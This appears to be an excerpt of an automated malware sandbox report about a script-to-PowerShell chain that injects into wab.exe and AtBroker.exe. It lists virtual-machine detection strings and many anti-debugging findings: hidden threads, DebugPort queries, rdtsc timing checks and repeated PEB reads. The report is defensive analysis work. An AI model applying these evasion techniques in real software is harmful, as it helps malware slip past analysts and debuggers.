Source: wscript.exe, 00000000.00000003.1680168522.00000279AEEC0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Desktop Virtualization ServicevmicshutdownHyper-V Time Synchronization ServiceHyper-V PowerShell Direct ServicevmicvssVolume Shadow CopyWindows TimeWalletServiceWarpJITSvcBlock Level Backup Engine ServiceWindows Biometric ServiceWindows Connection ManagerWindoR
Source: powershell.exe, 00000001.00000002.2248036223.0000024AECC39000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Thread information set: HideFromDebugger Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0456096E rdtsc 11_2_0456096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_04E2D6F8 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk, 4_2_04E2D6F8
Contains functionality to read the PEB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A772A0 mov eax, dword ptr fs:[00000030h] 9_2_22A772A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A772A0 mov eax, dword ptr fs:[00000030h] 9_2_22A772A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A762A0 mov eax, dword ptr fs:[00000030h] 9_2_22A762A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A762A0 mov ecx, dword ptr fs:[00000030h] 9_2_22A762A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A762A0 mov eax, dword ptr fs:[00000030h] 9_2_22A762A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A762A0 mov eax, dword ptr fs:[00000030h] 9_2_22A762A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A762A0 mov eax, dword ptr fs:[00000030h] 9_2_22A762A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A762A0 mov eax, dword ptr fs:[00000030h] 9_2_22A762A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA92A6 mov eax, dword ptr fs:[00000030h] 9_2_22AA92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA92A6 mov eax, dword ptr fs:[00000030h] 9_2_22AA92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA92A6 mov eax, dword ptr fs:[00000030h] 9_2_22AA92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA92A6 mov eax, dword ptr fs:[00000030h] 9_2_22AA92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A692BC mov eax, dword ptr fs:[00000030h] 9_2_22A692BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A692BC mov eax, dword ptr fs:[00000030h] 9_2_22A692BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A692BC mov ecx, dword ptr fs:[00000030h] 9_2_22A692BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A692BC mov ecx, dword ptr fs:[00000030h] 9_2_22A692BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A60283 mov eax, dword ptr fs:[00000030h] 9_2_22A60283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A60283 mov eax, dword ptr fs:[00000030h] 9_2_22A60283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A60283 mov eax, dword ptr fs:[00000030h] 9_2_22A60283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AB5283 mov eax, dword ptr fs:[00000030h] 9_2_22AB5283
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F02A0 mov eax, dword ptr fs:[00000030h] 9_2_229F02A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F02A0 mov eax, dword ptr fs:[00000030h] 9_2_229F02A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A1329E mov eax, dword ptr fs:[00000030h] 9_2_22A1329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A1329E mov eax, dword ptr fs:[00000030h] 9_2_22A1329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED mov eax, dword ptr fs:[00000030h] 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AB52E2 mov eax, dword ptr fs:[00000030h] 9_2_22AB52E2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DB2D3 mov eax, dword ptr fs:[00000030h] 9_2_229DB2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DB2D3 mov eax, dword ptr fs:[00000030h] 9_2_229DB2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DB2D3 mov eax, dword ptr fs:[00000030h] 9_2_229DB2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A9F2F8 mov eax, dword ptr fs:[00000030h] 9_2_22A9F2F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E92C5 mov eax, dword ptr fs:[00000030h] 9_2_229E92C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E92C5 mov eax, dword ptr fs:[00000030h] 9_2_229E92C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA2C3 mov eax, dword ptr fs:[00000030h] 9_2_229EA2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA2C3 mov eax, dword ptr fs:[00000030h] 9_2_229EA2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA2C3 mov eax, dword ptr fs:[00000030h] 9_2_229EA2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA2C3 mov eax, dword ptr fs:[00000030h] 9_2_229EA2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA2C3 mov eax, dword ptr fs:[00000030h] 9_2_229EA2C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 mov eax, dword ptr fs:[00000030h] 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D92FF mov eax, dword ptr fs:[00000030h] 9_2_229D92FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0F2D0 mov eax, dword ptr fs:[00000030h] 9_2_22A0F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0F2D0 mov eax, dword ptr fs:[00000030h] 9_2_22A0F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F02E1 mov eax, dword ptr fs:[00000030h] 9_2_229F02E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F02E1 mov eax, dword ptr fs:[00000030h] 9_2_229F02E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F02E1 mov eax, dword ptr fs:[00000030h] 9_2_229F02E1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AB5227 mov eax, dword ptr fs:[00000030h] 9_2_22AB5227
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D823B mov eax, dword ptr fs:[00000030h] 9_2_229D823B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A17208 mov eax, dword ptr fs:[00000030h] 9_2_22A17208
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A17208 mov eax, dword ptr fs:[00000030h] 9_2_22A17208
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AAD26B mov eax, dword ptr fs:[00000030h] 9_2_22AAD26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AAD26B mov eax, dword ptr fs:[00000030h] 9_2_22AAD26B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E6259 mov eax, dword ptr fs:[00000030h] 9_2_229E6259
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DA250 mov eax, dword ptr fs:[00000030h] 9_2_229DA250
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A21270 mov eax, dword ptr fs:[00000030h] 9_2_22A21270
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A21270 mov eax, dword ptr fs:[00000030h] 9_2_22A21270
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A09274 mov eax, dword ptr fs:[00000030h] 9_2_22A09274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D9240 mov eax, dword ptr fs:[00000030h] 9_2_229D9240
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D9240 mov eax, dword ptr fs:[00000030h] 9_2_229D9240
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 mov eax, dword ptr fs:[00000030h] 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A1724D mov eax, dword ptr fs:[00000030h] 9_2_22A1724D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D826B mov eax, dword ptr fs:[00000030h] 9_2_229D826B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E4260 mov eax, dword ptr fs:[00000030h] 9_2_229E4260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E4260 mov eax, dword ptr fs:[00000030h] 9_2_229E4260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E4260 mov eax, dword ptr fs:[00000030h] 9_2_229E4260
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A9B256 mov eax, dword ptr fs:[00000030h] 9_2_22A9B256
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A9B256 mov eax, dword ptr fs:[00000030h] 9_2_22A9B256
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A133A0 mov eax, dword ptr fs:[00000030h] 9_2_22A133A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A133A0 mov eax, dword ptr fs:[00000030h] 9_2_22A133A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A033A5 mov eax, dword ptr fs:[00000030h] 9_2_22A033A5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D8397 mov eax, dword ptr fs:[00000030h] 9_2_229D8397
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D8397 mov eax, dword ptr fs:[00000030h] 9_2_229D8397
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D8397 mov eax, dword ptr fs:[00000030h] 9_2_229D8397
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DE388 mov eax, dword ptr fs:[00000030h] 9_2_229DE388
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DE388 mov eax, dword ptr fs:[00000030h] 9_2_229DE388
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DE388 mov eax, dword ptr fs:[00000030h] 9_2_229DE388
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0438F mov eax, dword ptr fs:[00000030h] 9_2_22A0438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0438F mov eax, dword ptr fs:[00000030h] 9_2_22A0438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AB539D mov eax, dword ptr fs:[00000030h] 9_2_22AB539D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A9F3E6 mov eax, dword ptr fs:[00000030h] 9_2_22A9F3E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AB53FC mov eax, dword ptr fs:[00000030h] 9_2_22AB53FC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA3C0 mov eax, dword ptr fs:[00000030h] 9_2_229EA3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA3C0 mov eax, dword ptr fs:[00000030h] 9_2_229EA3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA3C0 mov eax, dword ptr fs:[00000030h] 9_2_229EA3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA3C0 mov eax, dword ptr fs:[00000030h] 9_2_229EA3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA3C0 mov eax, dword ptr fs:[00000030h] 9_2_229EA3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229EA3C0 mov eax, dword ptr fs:[00000030h] 9_2_229EA3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E83C0 mov eax, dword ptr fs:[00000030h] 9_2_229E83C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E83C0 mov eax, dword ptr fs:[00000030h] 9_2_229E83C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E83C0 mov eax, dword ptr fs:[00000030h] 9_2_229E83C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229E83C0 mov eax, dword ptr fs:[00000030h] 9_2_229E83C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A163FF mov eax, dword ptr fs:[00000030h] 9_2_22A163FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A9C3CD mov eax, dword ptr fs:[00000030h] 9_2_22A9C3CD
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229F03E9 mov eax, dword ptr fs:[00000030h] 9_2_229F03E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A9B3D0 mov ecx, dword ptr fs:[00000030h] 9_2_22A9B3D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA132D mov eax, dword ptr fs:[00000030h] 9_2_22AA132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AA132D mov eax, dword ptr fs:[00000030h] 9_2_22AA132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0F32A mov eax, dword ptr fs:[00000030h] 9_2_22A0F32A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229DC310 mov ecx, dword ptr fs:[00000030h] 9_2_229DC310
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A1A30B mov eax, dword ptr fs:[00000030h] 9_2_22A1A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A1A30B mov eax, dword ptr fs:[00000030h] 9_2_22A1A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A1A30B mov eax, dword ptr fs:[00000030h] 9_2_22A1A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_229D7330 mov eax, dword ptr fs:[00000030h] 9_2_229D7330
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451645D mov eax, dword ptr fs:[00000030h] 11_2_0451645D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454245A mov eax, dword ptr fs:[00000030h] 11_2_0454245A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E443 mov eax, dword ptr fs:[00000030h] 11_2_0455E443
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454A470 mov eax, dword ptr fs:[00000030h] 11_2_0454A470
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454A470 mov eax, dword ptr fs:[00000030h] 11_2_0454A470
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454A470 mov eax, dword ptr fs:[00000030h] 11_2_0454A470
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045AC460 mov ecx, dword ptr fs:[00000030h] 11_2_045AC460
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04558402 mov eax, dword ptr fs:[00000030h] 11_2_04558402
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04558402 mov eax, dword ptr fs:[00000030h] 11_2_04558402
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04558402 mov eax, dword ptr fs:[00000030h] 11_2_04558402
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451E420 mov eax, dword ptr fs:[00000030h] 11_2_0451E420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451E420 mov eax, dword ptr fs:[00000030h] 11_2_0451E420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451E420 mov eax, dword ptr fs:[00000030h] 11_2_0451E420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0451C427 mov eax, dword ptr fs:[00000030h] 11_2_0451C427
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045A6420 mov eax, dword ptr fs:[00000030h] 11_2_045A6420
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045204E5 mov ecx, dword ptr fs:[00000030h] 11_2_045204E5
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045544B0 mov ecx, dword ptr fs:[00000030h] 11_2_045544B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045AA4B0 mov eax, dword ptr fs:[00000030h] 11_2_045AA4B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045264AB mov eax, dword ptr fs:[00000030h] 11_2_045264AB
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04528550 mov eax, dword ptr fs:[00000030h] 11_2_04528550
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04528550 mov eax, dword ptr fs:[00000030h] 11_2_04528550
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455656A mov eax, dword ptr fs:[00000030h] 11_2_0455656A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455656A mov eax, dword ptr fs:[00000030h] 11_2_0455656A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455656A mov eax, dword ptr fs:[00000030h] 11_2_0455656A
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045B6500 mov eax, dword ptr fs:[00000030h] 11_2_045B6500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045F4500 mov eax, dword ptr fs:[00000030h] 11_2_045F4500
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 mov eax, dword ptr fs:[00000030h] 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 mov eax, dword ptr fs:[00000030h] 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 mov eax, dword ptr fs:[00000030h] 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 mov eax, dword ptr fs:[00000030h] 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 mov eax, dword ptr fs:[00000030h] 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04530535 mov eax, dword ptr fs:[00000030h] 11_2_04530535
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E53E mov eax, dword ptr fs:[00000030h] 11_2_0454E53E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E53E mov eax, dword ptr fs:[00000030h] 11_2_0454E53E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E53E mov eax, dword ptr fs:[00000030h] 11_2_0454E53E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E53E mov eax, dword ptr fs:[00000030h] 11_2_0454E53E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0454E53E mov eax, dword ptr fs:[00000030h] 11_2_0454E53E
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045265D0 mov eax, dword ptr fs:[00000030h] 11_2_045265D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A5D0 mov eax, dword ptr fs:[00000030h] 11_2_0455A5D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455A5D0 mov eax, dword ptr fs:[00000030h] 11_2_0455A5D0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E5CF mov eax, dword ptr fs:[00000030h] 11_2_0455E5CF
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_0455E5CF mov eax, dword ptr fs:[00000030h] 11_2_0455E5CF
